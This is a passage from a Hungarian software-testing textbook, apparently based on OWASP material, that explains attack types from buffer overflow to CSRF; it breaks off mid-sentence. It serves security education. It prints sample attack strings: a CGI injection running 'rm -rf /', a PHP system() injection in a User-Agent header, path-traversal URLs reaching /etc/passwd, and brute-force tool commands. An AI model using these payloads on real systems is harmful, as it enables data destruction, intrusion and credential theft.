file.bin AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA Egy újabb, futtatásra tett próbálkozás után az alkalmazás a következővel leáll: rezos@dojo-labs ~/owasp/binary $ ./read binary file Segmentation fault Hiba. Vajon buffer túlcsordulás történt? rezos@dojo-labs ~/owasp/binary $ gdb -q ./read binary file Using host libthread db library "/lib/libthread db.so1" (gdb) r Starting program: /home/rezos/owasp/binary/read binary file Program received signal SIGSEGV, Segmentation fault. 0xb7e4b9e3 in strcpy () from /lib/libc.so6 Igen, ez egy buffer túlcsordulás volt a strcpy() függvényben. Miért? fread(b, sizeof(b), 1, f); - karaktereket olvas a „stream f, sizeof(b)”-ből egyszer a b bufferbe. Ez teljesen rendben lévőnek tűnik De valójában nincs hely egy számára, ami lezárja a sztringet. Az strcpy(p, b); végrehajtása közben, amikor mindkét buffer egyenlő, megtörténik a túlcsordulás. Ennek az oka a null bájt, mint

végkarakter hiánya a b bufferben A strcpy() függvény mindent be fog másolni a b[0]-tól kezdve a p[] bufferbe egészen a null bájtig. A támadó egy speciális fájl elkészítésével sikeresen véghezvitte a buffer túlcsordulás támadást. 6-5 Szoftver tesztelés
Használjunk egyenértékű, biztonságos függvényeket, amik ellenőrzik a buffer hosszát amikor csak lehetséges. Mégpedig:
gets() -> fgets()
strcpy() -> strncpy()
strcat() -> strncat()
sprintf() -> snprintf()
Azokat a függvényeket, amiknek nincs biztonságos verziójuk, át kell írni oly módon, hogy tartalmazzanak biztonsági ellenőrzéseket. Az erre szánt idő meg fog térülni a jövőben. Emlékezzen rá, hogy ezt csak egyszer kell megcsinálnia
Olyan fordítókat kell használni, amik képesek azonosítani a nem biztonságos függvényeket, logikai függvényeket és ellenőrzik, hogy a memória nincs-e átírva olyan helyen, ahol nem szabadna. 6.3 Kártékony kód

beágyazása – Logikai/Időzített bomba 6.31 Leírás A fenyegető közeg a „támadók” egy olyan csoportja, ami támadást hajt végre. Lehetnek emberi (szándékosak vagy szándékolatlanok) vagy természetes eredetűek (áradás, tűz, stb.) 1. A fenyegető közeg egy mondatos leírásával kezdődik 2. Kik azok az emberek, akikből ez a fenyegetési közeg felépül? 3. Meg kell vitatni a fenyegető közeg jellemzőit 6.32 Kockázati tényezők
Beszéljünk azokról a tényezőkről (factors), amik ezt a fenyegető közeget valószínűleg vagy kevésbé valószínűleg támadásra bírják.
Biztosan szót kell ejteni a fenyegető közeg méretéről, motivációjáról, képességeiről és lehetőségeiről. 6.4 Trójai 6.41 Leírás A Trójai olyan program ami megbízható alkalmazásnak álcázva tartalmaz ártalmas kódot. Az ártalmas kód lehet egyébként hasznos alkalmazás része, rejtőzhet egy elektronikus levél hivatkozása mögött vagy el lehet rejtve

JavaScript-et futtató oldalakon, hogy titkos támadásokat intézzen sebezhető internet böngészők ellen. További részleteket az Ember-a-böngésző-támadások-mögött (Man-in-the-browser attack) című részben olvashat. 6.42 A Trójai 7 fő típusa 1. Távoli Hozzáférésű Trójai (Remote Access Trojan; RAT): Arra tervezték, hogy teljes irányításd biztosítson a támadónak a fertőzött számítógép fölött. Ezt a Trójait általában segédprogramnak álcázzák. 2. Adatküldő Trójai (Data Sending Trojan): Ez a fajta Trójai valamilyen billentyűlenyomás-rögzítő (keylogger) technológiát használ, hogy értékes adatokra 6-6 Szoftver tesztelés 3. 4. 5. 6. 7. tegyen szert, például jelszavakra, hitelkártya és netbank adatokra vagy azonnali üzenetekre, amiket aztán visszaküld a támadónak. Megsemmisítő Trójai (Destructive Trojan): Trójai, amit arra terveztem, hogy az áldozat gépén tárolt adatokat megsemmisítse. Proxy Trójai (Proxy

Trojan): Ennek a Trójainak az a célja, hogy proxy szerverként használja az áldozat számítógépét, lehetőséget biztosítva arra, hogy tiltott dolgokat cselekedjen a fertőzött gépről, például banki csalással próbálkozzon vagy akár káros támadásokat indítson az interneten keresztül. FTP Trójai (FTP Trojan): Ez a Trójai a 21-es porton keresztül csatlakozva lehetővé teszi a támadó számára, hogy FTP kapcsolatot létesítsen az áldozat gépével. Biztonsági szoftver hatástalanító Trójai (Security software disabler Trojan): Ezt a Trójait arra tervezték, hogy semlegesítse a tűzfalakhoz és vírusírtó programokhoz hasonló biztonsági programokat, lehetővé téve ez által a támadónak, hogy többfajta inváziós technológiát is használhasson az áldozat számítógépére való behatoláshoz és hogy még a számítógépen túli eszközöket is megfertőzze. Szolgáltatás-megtagadás támadó Trójai (Denial-of-Service attack Trojan): Ezt a

Trójait arra tervezték, hogy lehetőséget biztosítson a támadónak Szolgáltatásmegtagadási támadás kivitelezésére az áldozat számítógépéről. 6.43 Tünetek Néhány gyakori tünet:
A háttérkép vagy más háttérbeállítás magától megváltozik
Az egérmutató eltűnik
A programok maguktól betöltődnek és kilépnek
Állandóan furcsa figyelmeztető ablakok, üzenetek és kérdés dobozok jelennek meg
Az e-mail kliens magától leveleket küld mindenkinek a felhasználó címlistájára
A Windows magától leáll
A rendszer magától újraindul
Az internet hozzáférés adatai megváltoznak
A felhasználó ez irányú tevékenysége nélkül is nagy az internetkapcsolat terheltsége
A számítógép működése nagyon nagy erőforrásokat emészt fel (a számítógép lelassul)
A Ctrl + Alt + Del gombkombináció nem működik 6.44 Kockázati tényezők Magas: A Trójai át tud törni bármilyen biztonsági védelmet a hálózatban, mivel

a támadó hozzáférhet egy, a hálózati bejelentkezéshez szükséges, tárolt tanúsítványokkal ellátott munkaállomáshoz. Ezeknek a birtokában a támadó az egész hálózatot veszélyeztetheti 6.5 Azonosítási folyamat kihasználása – Account kizárási támadás 6.51 Leírás Egy account kizárási támadáskor a behatoló megpróbálja kizárni az összes felhasználói accountot, általában oly módon, hogy több alkalommal hibás bejelentkezést produkál, mint amennyi a bejelentkeztető rendszer tűréshatára. Ha például egy felhasználó három hibás bejelentkezési próbálkozással zárja ki az account-ját a rendszerből, akkor a támadó nemes egyszerűséggel úgy zárja ki az account-jaikat, hogy háromszor hibás hibás bejelentkezést produkál. Ez a fajta támadás nagymértékű szolgáltatás-megtagadási támadást eredményezhet, ha minden felhasználói account ki van zárva, főként akkor, ha az accountok visszaállítása komoly mennyiségű

munkát igényel. 6-7 Szoftver tesztelés 6.52 Például: eBay támadás Az account kizárási támadásokat arra használják, hogy kihasználják azokat a bejelentkeztető rendszereket, amik érzékenyek a szolgáltatás-megtagadásra. Az egyik híres ilyesfajta támadás az eBay-t érte. Az eBay korábban megjelenítette a legmagasabb licitet tartó felhasználó azonosítóját (azóta ezt már megváltoztatták). Az árverés utolsó perceiben valaki megpróbált belépni a legmagasabb licitet tartó felhasználó nevében három alkalommal. A három sikertelen próbálkozás után az eBay jelszó védelme életbe lépett és kizárta a legmagasabb licitet tartó hozzáférését egy időre. A támadó így megtehette a saját ajánlatát, az áldozat pedig nem tudott fölémenni az ajánlatnak, mert éppen ki volt zárva a rendszerből. Ezúton a támadó megnyerte az árverést 6.6 Befecskendezés – Közvetlen statikus kód befecskendezése 6.61 Leírás A közvetlen

statikus kód befecskendezése általi támadás abból áll, hogy a kódot közvetlenül az alkalmazás által használt erőforrásba juttatják bele, miközben egy felhasználó kérelme éppen feldolgozás alatt van. Ez általában úgy történik, hogy befolyásolják a könyvtár és sémafájlokat, amik a felhasználói kérelemnek megfelelően lettek létrehozva az adatok megfelelő megválasztása nélkül. Egy, a módosított erőforráshoz beérkező felhasználói kérelem esetén a benne foglalt cselekvés végrehajtódik a szerveroldalon a web szerver folyamatának a függvényében. A szerver oldali beszúrás (Server Side Includes) egy típusa a közvetlen statikus kód befecskendezésének. Ez nem összekeverendő a többi fajta kód befecskendezéssel, mint amilyen az XSS („Kereszt-helyszíni szkriptelés” vagy „HTML befecskendezés”), aminél a kód a kliens oldalán hajtódik végre. 6.62 Példák Példa 1 Ez az egyszerű példa a CGISCRIPT.NET csSearch 23

egyik gyengeségének a kihasználását mutatja be, amit a Bugtraq-on jelentettek meg, 4368-as azonosítószám alatt. A következő URL szerverre való meghívásával lehetséges a ‘’’’setup’’’ változóban meghatározott parancsokat végrehajtani. csSearch.cgi?command=savesetup&setup=PERL CODE HERE A klasszikus példa szerint a következő parancsot arra lehet használni, hogy minden fájlt eltávolítsunk a “/” könyvtárból: csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/` Tegyük hozzá, hogy a fönti parancsnak kódolva kell lennie, hogy elfogadható legyen. Példa 2 Ez a példa egy, az Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395)-ben lévő sebezhető pontot használ ki, lehetővé téve a támadónak, hogy véletlenszerűen futtasson php kódokat. Mindezt azért teszi, mert néhány, a felhasználóhoz tartozó változó, mint például az IP-cím vagy a User-Agent egy olyan fájlban tárolódnak, amit az admin iplog.php oldal használ, hogy

felhasználói statisztikákat mutasson. Amikor egy adminisztrátor ezt a lapot használja, akkor a korábban egy káros kérelem által befecskendezett kód végrehajtódik. A következő példa egy ártalmas php kódot tartalmaz, ami belerondít az index.php lapba, amikor az adminisztrátor az admin iplog.php-t futtatja 6-8 Szoftver tesztelés GET /board/index.php HTTP/10 User-Agent: <? system( "echo hacked > ./indexhtml" ); ?> 6.7 „Útkeresztezési támadás” (Path Traversal Attack) 6.71 Áttekintés Az „útkeresztezési támadások” olyan fájlok és könyvtárak elérését célozzák, amik a hálózati gyökér (web root) könyvtáron kívül vannak eltárolva. Az alkalmazás böngészése közben a támadó olyan közvetlen hivatkozásokat keres, ami a web szerveren tárolt fájlokra mutatnak. A „ ./ ” sorozatot és változóit tartalmazó fájlok manipulálásával lehetséges lehet tetszőleges olyan fájlhoz vagy könyvtárhoz hozzáférni,

ami a fájlrendszerben van tárolva, beleértve az alkalmazások forráskódjait , konfigurációs- és a rendszer működése szempontjából kritikus egyéb fájlokat, amit csak a rendszer hozzáférési műveletek korlátoznak. A támadó “/” sorozatokat használ, hogy följebb lépjen a gyökérkönyvtárba és így lehetővé tegye a fájlrendszerben való mozgást. Ezt a támadást egy olyan külső ártalmas kód befecskendezésével lehet kivitelezni, ami a Resource Ijection (Forrás befecskendezés) támadástípus által kitaposott ösvényt használja. A támadás kivitelezéséhez nem szükséges különleges eszközök használata; a behatoló általában valamilyen internetes fürkészt (web spider/crawler) használ, hogy felderítse az összes használható URL-t. Ezt a támadást több néven is ismerik, például:
“dot-dot-slash” („pont-pont-vesszőcske”)
“directory traversal” („könyvtárkeresztezés”)
“directory

climbing”(„könyvtármászás”)
“backtracking” („visszakövetés”). 6.72 Leírás Kérelem változatok Kódolás és dupla kódolás: %2e%2e%2f jelentése ./ %2e%2e/ jelentése ./ .%2f jelentése ./ %2e%2e%5c jelentése . %2e%2e jelentése . .%5c jelentése . %252e%252e%255c jelentése . .%255c . jelentése és így tovább. „Százalékos kódolás (más néven URL kódolás)” (Percent encoding (aka URL encoding)) Megjegyzés: a web tárolók egy szintnyi kódolást hajtanak végre a form-okról és az URL-ekről származó százalékosan kódolt értékeken. .%c0%af jelentése ./ 6-9 Szoftver tesztelés .%c1%9c jelentése . Operációs rendszer specifikusan UNIX Gyökérkönyvtár: “ / “ Könyvtár elválasztó: “ / “ WINDOWS Gyökérkönyvtár: “ <partíció betűjele> : “ Könyvtárelválasztó: “ / “ vagy “ ” Megjegyzés: a Windows engedi, hogy a fájlneveket ráadás . / karakterek kövessék A

legtöbb operációs rendszerben null bájtokat (%00) lehet injektálni a fájlnév lezárása céljából. Például a következő paraméter elküldése: ?file=secret.doc%00pdf azt eredményezi, hogy a Java alkalmazás úgy látja, hogy a sztring „.pdf”-el ér véget, míg az operációs rendszer úgy látja, hogy a fájl végén ".doc" áll A támadók ezt a trükköt arra használhatják, hogy átjussanak az érvényesítő rutinon. 6.73 Példák Példa 1 A következő példa megmutatja, hogy az alkalmazás hogyan bánik a használatban lévő erőforrásokkal: http://some site.combr/get-filesjsp?file=reportpdf http://some site.combr/get-pagephp?home=aaahtml http://some site.combr/some-pageasp?page=indexhtml Ebben a példában lehetséges olyan ártalmas sztringet beilleszteni, mint változó paramétert, hogy hozzáférjünk a webes könyvtáron kívüli fájlokhoz. http://some site.combr/get-files?file=////some dir/some file http://some site.combr/////some dir/some

file A következő URL-ek a *NIX jelszó fájl kihasználásának példáját mutatják be: http://some site.combr/////etc/shadow http://some site.combr/get-files?file=/etc/passwd Megjegyzés: Windows környezetben a támadó csak azon a partíción mozoghat, amin a webes gyökérkönyvtár is található, míg Linux környezetben az egész merevlemezt bejárhatja. Példa 2 Lehetséges ezentúl külső webhelyen található fájlok és szkriptek belefoglalása is. http://some site.combr/some-page?page=http://other-sitecombr/other-pagehtm/maliciuscodephp 6-10 Szoftver tesztelés Példa 3 Ez a példa azt az esetet mutatja be, mikor a támadó arra kényszerítette a szervert, hogy megmutassa a CGI forráskódot. http://vulnerable-page.org/cgi-bin/maincgi?file=maincgi Példa 4 Ez a példa a Wikipedia - Directory Traversal oldalról lett továbbgöngyölítve A sebezhető alkalmazás kódjának tipikus példája: <?php $template = blue.php; if ( is set( $ COOKIE[TEMPLATE] ) )

$template = $ COOKIE[TEMPLATE]; include ( "/home/users/phpguru/templates/" . $template ); ?> Ez ellen a rendszer ellen a következő HTTP kérelmet lehet támadásként használni: GET /vulnerable.php HTTP/10 Cookie: TEMPLATE=./////////etc/passwd A következő szerver választ generáljuk: HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh Az ismételt ./ karakterek a /home/users/phpguru/templates/ után azt okozták, hogy a include() átkerüljön a gyökérkönyvtárba és tartalmazza az /etc/passwd UNIX jelszó fájlt. A UNIX etc/passwd egy szokásos fájl arra, hogy bemutassuk a directory traversal-t, mivel a számítógépes kalózok gyakran használják arra, hogy jelszavakat törjenek fel. 6.74 „Abszolút útkeresztezés” (Absolute Path Traversal) A következő URL-ek érzékenyek lehetnek erre a támadásra:

http://testsite.com/getphp?f=list http://testsite.com/getcgi?f=2 http://testsite.com/getasp?f=test A támadó a következő módon kivitelezhet egy ilyen támadást: http://testsite.com/getphp?f=/var/www/html/getphp http://testsite.com/getcgi?f=/var/www/html/admin/getinc http://testsite.com/getasp?f=/etc/passwd 6-11 Szoftver tesztelés Amikor a web szerver a webes alkalmazás hibáit tartalmazó információval tér vissza, akkor a támadónak sokkal egyszerűbb kitalálni a pontos helyet (vagyis a forráskódot tartalmazó fájlhoz vezető utat, amit aztán megjeleníthet). 6.8 „Próbálgatásos technikák – Nyers Erő támadás” (Probabilistic Techniques - Brute force attack) 6.81 Leírás Ezzel a fajta támadással a behatoló megpróbálja úgy megkerülni a biztonsági mechanizmusokat, hogy nagyon kevés információval rendelkezik róluk. A következő módok valamelyikét használhatja: könyvtár támadás (mutációkkal vagy anélkül) (dictionary attack (with or

without mutations)) nyers-erő támadás (megadott csoportú karakterekkel, például: alfanumerikus, különleges, „case-sensitive”) (brute-force attack ) A támadó megpróbálja elérni a célját. A megfelelő paraméterek (egy bizonyos módszer, a próbálkozások száma, a rendszer hatékonysága) figyelembe vételével, amik levezénylik a támadást a behatoló megjósolhatja, hogy meddig kell tartania a támadásnak. A nem nyers-erő támadások (non brute-force attacks), amikben mindenféle karakter szerepel, nem kecsegtetnek biztos sikerrel. 6.82 Példák A Nyers-erő támadásokat leginkább arra használják, hogy megtippeljék a jelszavakat és megkerüljék a hozzáférési ellenőrzéseket. Mindemellett sok olyan eszköz van, amik ezt a technológiát használják, hogy a támadó részéről hasznosnak vélt információkat gyűjtsenek ki bizonyos web szolgáltatások katalógusaiból. Nagyon sok esetben a támadások célpontjai a különböző formátumokban

lévő adatok (GET/POST) és a felhasználói Session-ID-k. Példa 1 Az első forgatókönyvben, ahol az a Nyers-erő célja, hogy megtudjuk a jelszót kódolatlan formában. Úgy tűnik, hogy a John the Ripper egy nagyon hasznos eszköz A 10 legjobb jelszótörő különböző módszerekkel, többek között Nyers-erővel dolgoznak. Ezek megtalálható az alábbi oldalon: http://sectools.org/crackershtml A web szolgáltatások tesztelésére a következő eszközök állnak rendelkezésre:
dirb (http://sourceforge.net/projects/dirb/)
WebRoot (http://www.cirtdk/tools/webroot/WebRoottxt) A dirb-höz fejlettebb eszközök is tartoznak. A segítségével képesek lehetünk:






cooky-kat beállítani bármilyen HTTP fejlécet hozzáadni PROXY-t használni megtalált objektumokat mutálni http(s) kapcsolatokat tesztelni katalógusokban és fájlokban keresni meghatározott könyvtárak és sémák segítségével és még ezeknél sokkal többre is A legegyszerűbben

elvégezhető teszt a következő: 6-12 Szoftver tesztelés rezos@dojo ~/d/owasp tools/dirb $ ./dirb http://testsitetest/ ----------------DIRB v1.9 By The Dark Raver ----------------START TIME: Mon Jul 9 23:13:16 2007 URL BASE: http://testsite.test/ WORDLIST FILES: wordlists/common.txt SERVER BANNER: lighttpd/1.415 NOT EXISTANT CODE: 404 [NOT FOUND] (Location: - Size: 345) ----------------Generating Wordlist. Generated Words: 839 ---- Scanning URL: http://testsite.test/ ---FOUND: http://testsitetest/phpmyadmin/ (*) DIRECTORY () Az adatkivitelnél a támadó értesül róla, hogy a phpmyadmin/ katalógus megtalálásra került. A támadó, aki tudja ezt, most már végrehajthatja a támadást ezen az alkalmazáson. A dirb sémái között – többek között – van olyan könyvtár, ami érvénytelen httpd konfigurációkról tartalmaz információt. Ez a könyvtár fölfedezi az ilyesfajta gyengeségeket Az egyik a fő probléma a dirb-höz hasonló eszközökkel a felismerés,

hogyha a szervertől kapott válasz mindig megbízható. A fejlettebb szerver konfigurációk segítségével (mint amilyen a mod rewrite) az automatizált eszközök nem tudják eldönteni, hogy a szerver válasza hibát jelez vagy pedig az eszköz megtalálta a támadó által keresett fájlt. A CIRT.DK által írt WebRootpl alkalmazás beépített szerver mechanizmusokat tartalmaz arra, hogy kielemezze a szerver válaszait és a támadó által megadott frázis alapján megmondja, hogy a szerveren van-e azt tartalmazó fájl. Például: Np. ./WebRootpl -noupdate -host testsitetest -port 80 -verbose -match "test" -url "/private/<BRUTE>" -incremental lowercase -minimum 1 -maximum 1 oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00 o Webserver Bruteforcing 1.8 o 0 * !!! WARNING !!! 0 0 * FOR PENETRATION USE ONLY 0 0 * 0 o (c)2007 by Dennis Rand - CIRT.DK o oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00 [X] Checking for updates - NO CHECK 6-13 Szoftver

tesztelés [X] Checking for False Positive Scan - OK [X] Using Incremental - OK [X] Starting Scan - OK GET /private/b HTTP/1.1 GET /private/z HTTP/1.1 [X] Scan complete - OK [X] Total attempts - 26 [X] Sucessfull attempts -1 oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00 A WebRoot.pl egy fájlt talált, a "/private/b"-t, a testsitetest-en, ami tartalmazza a „test” frázist. Egy másik példa arra, hogy megvizsgáljuk a változó értékeinek tartományát: ./WebRootpl -noupdate -host testsitetest -port 80 -verbose -diff "Error" -url "/index.php?id=<BRUTE>" -incremental integer -minimum 1 -maximum 1 6.83 Védelmi eszközök „Php Nyers-erő-támadás érzékelő” (Php-Brute-Force-Attack Detector) http://yehg.net/lab/pr0js/filesphp/php brute force detectzip Felismeri, hogy a web szervert vizsgálja-e valamilyen Nyer-erőt használó eszköz, mint amilyen a Wfuzz vagy az OWASP DirBuster, illetve vizsgálják-e sebezhetőség érzékelők, mint

a Nessus, a Nikto, az Acunetix, stb. Ez segít gyorsan azonosítani a próbálkozó rossz fiúkat, akik ki akarják használni a biztonsági pajzs réseit. http://yehg.net/lab/pr0js/tools/php-brute-force-detector-readmepdf 6.84 „Protokol Manipuláció – http Válasz Elosztás” (Protocol Manipulation - Http Response Splitting) 6.841 Leírás HTTP válasz elosztás (HTTP response splitting) történik, amikor:
Adat kerül a webes alkalmazásba rendezetlen forráson keresztül, ami legtöbbször egy HTTP kérelem.
Az adat egy HTTP válasz fejlécben szerepel, amit egy web használónak küldtek anélkül, hogy a káros karaktereket ellenőrzése megtörtént volna. A „HTTP response splitting” a befejezés egy módja, nem pedig a befejezés maga. Alapjaiban véve a támadás meglehetősen egyszerű: a támadó káros adatot továbbít egy sebezhető alkalmazásnak, az alkalmazás pedig beleteszi az adatot a HTTP válasz fejlécébe. A sikeres támadás érdekében, az

alkalmazásnak engedélyeznie kell az olyan adatbevitelt, ami CR (carriage return, %0d vagy ) és LF (line feed, %0a vagy ) karaktereket is beenged a fejlécbe. Ezek a karakterek nem csak irányítást adnak a támadónak az alkalmazás által küldeni szándékozott válasz maradék fejléce és főrésze fölött, de azt is lehetővé teszik, hogy újabb, teljesen az irányítása alatt lévő válaszokat adjon. 6-14 Szoftver tesztelés 6.842 Példák A következő kódrészlet kiolvassa egy weblog szerzőjének a nevét egy HTTP kérelemből és cookie fejlécként beállítja egy HTTP válaszban. String author = request.getParameter(AUTHOR PARAM); . Cookie cookie = new Cookie("author", author); cookie.setMaxAge(cookieExpiration); response.addCookie(cookie); Ha feltételezzük, hogy olyan sztringet küldünk el a kérelemben, ami csupa normál alfanumerikus karakterből áll, mint például „Jane Smith”, akkor a HTTP válasz, ami ezt a cookie-t tartalmazza a

következő formájú lehet: HTTP/1.1 200 OK . Set-Cookie: author=Jane Smith . De mivel a cookie értéke ellenőrizetlen felhasználói adatbevitelből lett formázva, a válasz csak akkor fogja fenntartani ezt a formát, ha az AUTHOR PARAM-nak küldött érték nem tartalmaz CR vagy LF karaktereket. Ha a támadó küld egy káros sztringet, mint például "Wiley Hacker HTTP/1.1 200 OK ", akkor a HTTP válasz két különböző válaszra lenne bontva, a következő formában: HTTP/1.1 200 OK . Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK . Nyilvánvaló, hogy a második választ teljesen a támadó irányítja, olyan tartalmú fejlécet és törzset ad neki, amilyet szeretne. Az, hogy a támadó olyan HTTP választ generál, amit akar, lehetővé tesz több más fajta támadást is, többek között a következőket: Cross-User Defacement, Cache Poisoning, Cross-site Scripting (XSS) és Page Hijacking. 6.9 „Erőforrás kimerítés” (Resource Depletion - Asymmetric

resource consumption (amplification)) 6.91 Leírás A támadó arra kényszeríti az áldozatot, hogy több erőforrást használjon, mint amennyi a támadó hozzáférési szintjével engedélyezve van. A program valószínűleg nem, vagy csak hibásan szabadítja föl a rendszer egy erőforrását. Az erőforrás nem lett rendesen kiürítve és előkészítve az újbóli felhasználásra. 6.92 PÉLDÁK Példa 1 A következő metódus sosem fogja bezárni a saját maga által megnyitott fájl kezelőt/számlálót (file handle). The method for A StreamReader Finalize() metódusa végül meghívja a Close() metódust, de semmi sem tudja megmondani, hogy mennyi időbe fog telni, mielőtt a Finalize() 6-15 Szoftver tesztelés működésbe lépne. Valójában semmi garancia nincs arra, hogy a Finalize() egyáltalán működésbe fog lépni. Egy terhelt környezetben ez azt eredményezheti, hogy a VM felhasználja az összes rendelkezésére álló fájl számlálót. private void

processFile(string fName) { StreamWriter sw = new StreamWriter(fName); string line; while ((line = sr.ReadLine()) != null) processLine(line); } Miután minden fájl számlálót (fájl leírót) felhasznált, a VM nagyon instabillá válhat, lelassulhat, vagy determinisztikusan megszakíthatja a működést a korábbi állapotához képest. Példa 2 Normál körülmények között az alábbi C# kód egy adatbázis lekérdezést hajt végre, feldolgozza a az adatbázis által adott eredményt és bezárja a hozzá társított SqlConnection objektumot. De ha egy kivétel történik az SQL vagy az eredmények feldolgozása közben, akkor az SqlConnection objektum fog bezáródni. Ha ez elég sokszor megtörténik, akkor az adatbázis ki fog futni a rendelkezésére álló kurzorokból és nem fog tudni több SQL lekérdezést végrehajtani. C# példa: . SqlConnection conn = new SqlConnection(connString); SqlCommand cmd = new SqlCommand(queryString); cmd.Connection = conn; connOpen();

SqlDataReader rdr = cmd.ExecuteReader(); HarvestResults(rdr); conn.ConnectionClose(); . Az adatbázishoz kapcsolódó egybeeső kapcsolatok száma gyakran alacsonyabb, mint a rendszer által maximálisan használható számlálók száma. Ez megkönnyíti az alkalmazások szűk keresztmetszetének a megtalálását és a felhasználásukat arra, hogy leállítsuk instabillá tegyük az alkalmazás működését. Példa 3 Ha az N egybeeső kapcsolatot kezelni tudó alkalmazásba nincsenek beépítve megfelelő mechanizmusok a kliensek leválasztására (például időkorlátok (TIMEOUT)), akkor nagyon könnyen működésképtelenné tehető úgy, hogy N-hez közeli számú kapcsolatot hozunk létre. Ráadásképpen ezek a kapcsolatok munkát is szimulálnak az alkalmazással, addig használva a protokolljait, amíg föl nem emésztenek minden rendelkezésre álló erőforrást. 6.10 „Erőforrás Manipuláció – Kémprogram” (Resource Manipulation – Spyware) 6.101 Leírás A

kémprogram (Spyware) olyan alkalmazás, ami statisztikai adatokat gyűjt a felhasználó számítógépéről és továbbküldi azt az interneten a felhasználó beleegyezése nélkül. Ezeket az információkat általában a cookie-kból vagy a böngésző Előzményeiből (history) gyűjti ki. A kémprogramok akár más programokat is telepíthetnek, reklámokat jeleníthetnek meg vagy 6-16 Szoftver tesztelés átirányíthatják az internet böngészőt. A kémprogram több dologban különbözik a vírusoktól, férgektől és reklámprogramoktól (adware). A kémprogram nem többszörözi és terjeszti magát úgy, mint a vírusok és a férgek és nem feltétlenül jelenít meg reklámokat úgy, mint a reklámprogramok. A főbb különbségek a kémprogramok, valamint a vírusok, férgek és reklámprogramok között a következő:
a fertőzött számítógépet kereskedelmi célokra használja ki
néhány esetben reklámokat jelenít meg 6.102 KOCKÁZATI TÉNYEZŐK

Magas Néhány kémprogramot nagyon nehéz eltávolítani, mivel megbújhatnak a böngésző cookie-jai valamint a hálózat nélküli (offline) HTML tartalomban is az Ideiglenes fájlok (Temporary files) között. 6.11 „Szimatoló támadás – Hálózati Lehallgatás” (Sniffing Attacks - Network Eavesdropping) 6.111 Leírás A Hálózati Lehallgatás (Network Eavesdropping) vagy más néven hálózati szimatolás (network sniffing) egy olyan hálózati réteg támadás, ami azt a célt szolgálja, hogy csomagokat fogjunk el a hálózatban, ami mások számítógépéről származik és az ebben lévő adatokban olyan kényes információkat találjunk, mint a jelszavak, session tokenek vagy bármilyen nemű titkos információ. Ezt a támadást a „hálózati szimatoló”-knak (network sniffer) nevezett eszközökkel lehet kivitelezni. Ezek az eszközök csomagokat gyűjtenek a hálózaton és az eszköz minőségétől függően a protokoll dekóderekhez vagy a stream

újraillesztőkhöz hasonlóan analizálják a begyűjtött adatokat. A hálózat környezetére néhány feltételnek teljesülnie kell, hogy a szimatolás hatékony legyen: • LAN környezet HUB-okkal (LAN + HUB). Ez az ideális eset, mivel a HUB egy hálózati ismétlő eszköz, ami duplikál minden, akármelyik porton keresztül érkezett hálózati keretet, így a támadás nagyon egyszerűen kivitelezhető, mivel más feltételeknek nem is kell megfelelni. • LAN környezet kapcsolókkal (LAN + SWITCH) Hogy a hallgatózás eredményes legyen, egy előzetes feltételnek teljesülnie kell. Mivel a switch alapesetben csak egy keretet küld a portnak, szükségünk van egy olyan mechanizmusra, ami duplikálja vagy átirányítja a hálózati csomagokat a rosszindulatú rendszer részére. Például ahhoz, hogy duplikáljuk a forgalmat egyik portról a másikra, egy különleges beállításra lesz szükségünk a switch-ben. Hogy átirányítsuk a támadást egyik portról a

másikra, szükségünk lesz egy előzőleges kihasználásra, mint például az arp spoof támadás. Ebben a támadásban a rosszindulatú rendszer útválasztóként (router) működik az áldozatok közötti kommunikációban, lehetővé téve azt, hogy „kiszimatoljuk” a felcserélt csomagokat. • WAN környezet 6-17 Szoftver tesztelés Ebben az esetben, a hálózati „szimatolás” sikeréhez arra van szükség, hogy rosszindulatú rendszer útválasztóként (router) működjön a kliens és a szerver közötti kommunikációban Ezen hiba kihasználásának egyik módja, ha DNS áltámadást indítunk a kliens rendszer ellen. A „Hálózati Lehallgatás” egy passzív támadás, amit nagyon nehéz felfedezni. Fölfedezhető a megelőző állapot hatásából vagy néhány esetben rábírhatjuk a rosszindulatú szervert, hogy válaszoljon egy olyan hamis kérelemre, amit a rosszindulatú rendszer IP címére küldtünk, de egy másik rendszer MAC címével. 6.112

PÉLDÁK Amikor a HUB elnevezésű hálózati eszközt használunk egy Helyi Hálózat topológiájában, akkor a „Hálózati Lehallgatás” kivitelezése sokkal könnyebbé válik, mivel az eszköz mindenféle, egy porton bejövő adatforgalmat duplikál az összes többi portra. Egy protokoll elemzőt (protocol analyzer) használva a támadó a LAN egész adatforgalmára ráteheti a kezét és így kényes információkat szerezhet meg. 6.12 „Átverés – oldalakon keresztüli kérelem hamisítás” (Spoofing - CrossSite Request Forgery (CSRF)) 6.121 Áttekintés A „CSRF” egy olyan támadás, ami arra kényszeríti a felhasználót, hogy olyan tevékenységet végezzen egy webes alkalmazásban, amibe éppen be van jelentkezve, amit nem állna szándékában megtenni. Egy kis „szocializációs mérnökösködéssel” (például hivatkozás küldése e-mailen vagy chat-en keresztül) a támadó arra kényszeríti a felhasználót, hogy olyan cselekedeteket hajtson

